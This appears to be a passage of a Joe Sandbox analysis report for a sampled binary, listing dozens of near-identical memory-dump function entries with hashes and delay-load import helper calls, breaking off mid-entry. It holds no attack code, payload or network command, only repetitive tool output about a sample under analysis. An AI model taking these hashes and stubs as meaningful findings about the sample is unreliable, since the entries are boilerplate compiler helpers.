Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f97a6c84028471efef791a7e10d3ce410edba988b5146f260de1ecaf6a4140b5
Instruction ID: 0390627cd9ca16e82d1fd04e10809216f5a862c04c3220ef1d4dee4dadf83846
Opcode Fuzzy Hash: f97a6c84028471efef791a7e10d3ce410edba988b5146f260de1ecaf6a4140b5
Instruction Fuzzy Hash: E4B012C16783067D325463153C07F3A210CC4C0B11730493AF840C0140D4404D880331

Function 00D3F73D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F70C

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 514cba1c4349178e0bde6b7e4fa4d0c8172a7204bd538f26faec84d61cbf92d3
Instruction ID: 1b65adcef1bc10e349357e293c79d7160d4d21bfab1a9315034d301e565d3e0c
Opcode Fuzzy Hash: 514cba1c4349178e0bde6b7e4fa4d0c8172a7204bd538f26faec84d61cbf92d3
Instruction Fuzzy Hash: 8EB012C16782067D321463153C07F3E250CC4C0B11730843AFC40C5144D4404D4C0231

Function 00D3F3D7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 55d79ae696aaf1b5924086c311bef473a38d073319c478297033b1a0118f0ef2
Instruction ID: 151086aa82a5111e8fb74d986dac6c02ed2f86f9acd256d792b3bda1709955fa
Opcode Fuzzy Hash: 55d79ae696aaf1b5924086c311bef473a38d073319c478297033b1a0118f0ef2
Instruction Fuzzy Hash: 2DA002955691077D355553516D17D3A161DC4D4B51734452EF841C405194405D495531

Function 00D3F3F5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 769f5716ba798b186922db5afabd775f309db7a3905013b17e3d0fceaaaa631f
Instruction ID: 151086aa82a5111e8fb74d986dac6c02ed2f86f9acd256d792b3bda1709955fa
Opcode Fuzzy Hash: 769f5716ba798b186922db5afabd775f309db7a3905013b17e3d0fceaaaa631f
Instruction Fuzzy Hash: 2DA002955691077D355553516D17D3A161DC4D4B51734452EF841C405194405D495531

Function 00D3F3FF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 93f0c9605c53479532ee0d97fb461e3ae7c85303957d9d706ef91a4b3c9f677d
Instruction ID: 151086aa82a5111e8fb74d986dac6c02ed2f86f9acd256d792b3bda1709955fa
Opcode Fuzzy Hash: 93f0c9605c53479532ee0d97fb461e3ae7c85303957d9d706ef91a4b3c9f677d
Instruction Fuzzy Hash: 2DA002955691077D355553516D17D3A161DC4D4B51734452EF841C405194405D495531

Function 00D3F3EB Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 73bcebbb1ca96afbc56221bb04912dc84d411e54eccd3b975dfecf4d2c29c323
Instruction ID: 151086aa82a5111e8fb74d986dac6c02ed2f86f9acd256d792b3bda1709955fa
Opcode Fuzzy Hash: 73bcebbb1ca96afbc56221bb04912dc84d411e54eccd3b975dfecf4d2c29c323
Instruction Fuzzy Hash: 2DA002955691077D355553516D17D3A161DC4D4B51734452EF841C405194405D495531

Function 00D3F3B9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b5bddfa302c52349950e6f2f79f11b27616deb00bc483c0a1dbeef9e2645b8f1
Instruction ID: 151086aa82a5111e8fb74d986dac6c02ed2f86f9acd256d792b3bda1709955fa
Opcode Fuzzy Hash: b5bddfa302c52349950e6f2f79f11b27616deb00bc483c0a1dbeef9e2645b8f1
Instruction Fuzzy Hash: 2DA002955691077D355553516D17D3A161DC4D4B51734452EF841C405194405D495531

Function 00D3F373 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0b6b39728ec0979d062e6b31d660c0be6a77fffd13dc946777b22bd017ed2009
Instruction ID: 151086aa82a5111e8fb74d986dac6c02ed2f86f9acd256d792b3bda1709955fa
Opcode Fuzzy Hash: 0b6b39728ec0979d062e6b31d660c0be6a77fffd13dc946777b22bd017ed2009
Instruction Fuzzy Hash: 2DA002955691077D355553516D17D3A161DC4D4B51734452EF841C405194405D495531

Function 00D3F413 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 11e7c1e98eefbae33161ab9e36a388e07dd9e6b02e3134174e79558abde0ebed
Instruction ID: 151086aa82a5111e8fb74d986dac6c02ed2f86f9acd256d792b3bda1709955fa
Opcode Fuzzy Hash: 11e7c1e98eefbae33161ab9e36a388e07dd9e6b02e3134174e79558abde0ebed
Instruction Fuzzy Hash: 2DA002955691077D355553516D17D3A161DC4D4B51734452EF841C405194405D495531

Function 00D3F41D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9a786da7d7d9e0330bc76491aefd5a5a6ce4cd6b70c994744cecae9995bdb403
Instruction ID: 151086aa82a5111e8fb74d986dac6c02ed2f86f9acd256d792b3bda1709955fa
Opcode Fuzzy Hash: 9a786da7d7d9e0330bc76491aefd5a5a6ce4cd6b70c994744cecae9995bdb403
Instruction Fuzzy Hash: 2DA002955691077D355553516D17D3A161DC4D4B51734452EF841C405194405D495531

Function 00D3F409 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 882d0016ff87cf4700a6539dbf2ba99d9e42d952d8b2139d36b5d1b4115d05bf
Instruction ID: 151086aa82a5111e8fb74d986dac6c02ed2f86f9acd256d792b3bda1709955fa
Opcode Fuzzy Hash: 882d0016ff87cf4700a6539dbf2ba99d9e42d952d8b2139d36b5d1b4115d05bf
Instruction Fuzzy Hash: 2DA002955691077D355553516D17D3A161DC4D4B51734452EF841C405194405D495531

Function 00D3F431 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6dd4fb30c2fbe0be29d4f12b030cef129f8a54ce9e94c637df0bfb042892be54
Instruction ID: 151086aa82a5111e8fb74d986dac6c02ed2f86f9acd256d792b3bda1709955fa
Opcode Fuzzy Hash: 6dd4fb30c2fbe0be29d4f12b030cef129f8a54ce9e94c637df0bfb042892be54
Instruction Fuzzy Hash: 2DA002955691077D355553516D17D3A161DC4D4B51734452EF841C405194405D495531

Function 00D3F427 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 74c4889c0e084fb37bbcddfd9d659c8256e0755ecbf142eafa61dbb52d3e28b0
Instruction ID: 151086aa82a5111e8fb74d986dac6c02ed2f86f9acd256d792b3bda1709955fa
Opcode Fuzzy Hash: 74c4889c0e084fb37bbcddfd9d659c8256e0755ecbf142eafa61dbb52d3e28b0
Instruction Fuzzy Hash: 2DA002955691077D355553516D17D3A161DC4D4B51734452EF841C405194405D495531

Function 00D3F596 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F556

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ab6b9ede4bc94d8cba0103773ecf8ee55a3f611e80eceed6c85b0e300243f9c8
Instruction ID: 0a85baf66ddcc3c5cdfaec06e6c26438fa4ecd2851e87aee099dcba0cae9201f
Opcode Fuzzy Hash: ab6b9ede4bc94d8cba0103773ecf8ee55a3f611e80eceed6c85b0e300243f9c8
Instruction Fuzzy Hash: 18A011C2AE800ABE32082320BC03E3A020CC0C8BA2B30883AF882C0080A8808C082030

Function 00D3F58C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F556

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4d6f61accb4b9a42bc0195a25dbf917cd0e0242c6f9996647b6b7e62b99069ef
Instruction ID: 0a85baf66ddcc3c5cdfaec06e6c26438fa4ecd2851e87aee099dcba0cae9201f
Opcode Fuzzy Hash: 4d6f61accb4b9a42bc0195a25dbf917cd0e0242c6f9996647b6b7e62b99069ef
Instruction Fuzzy Hash: 18A011C2AE800ABE32082320BC03E3A020CC0C8BA2B30883AF882C0080A8808C082030

Function 00D3F5A0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F556

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4d5d1cd8753f8518ecbbc30b4cb9949b46d64749a2ef83967bbf9c52aed6f7ce
Instruction ID: 0a85baf66ddcc3c5cdfaec06e6c26438fa4ecd2851e87aee099dcba0cae9201f
Opcode Fuzzy Hash: 4d5d1cd8753f8518ecbbc30b4cb9949b46d64749a2ef83967bbf9c52aed6f7ce
Instruction Fuzzy Hash: 18A011C2AE800ABE32082320BC03E3A020CC0C8BA2B30883AF882C0080A8808C082030

Function 00D3F549 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

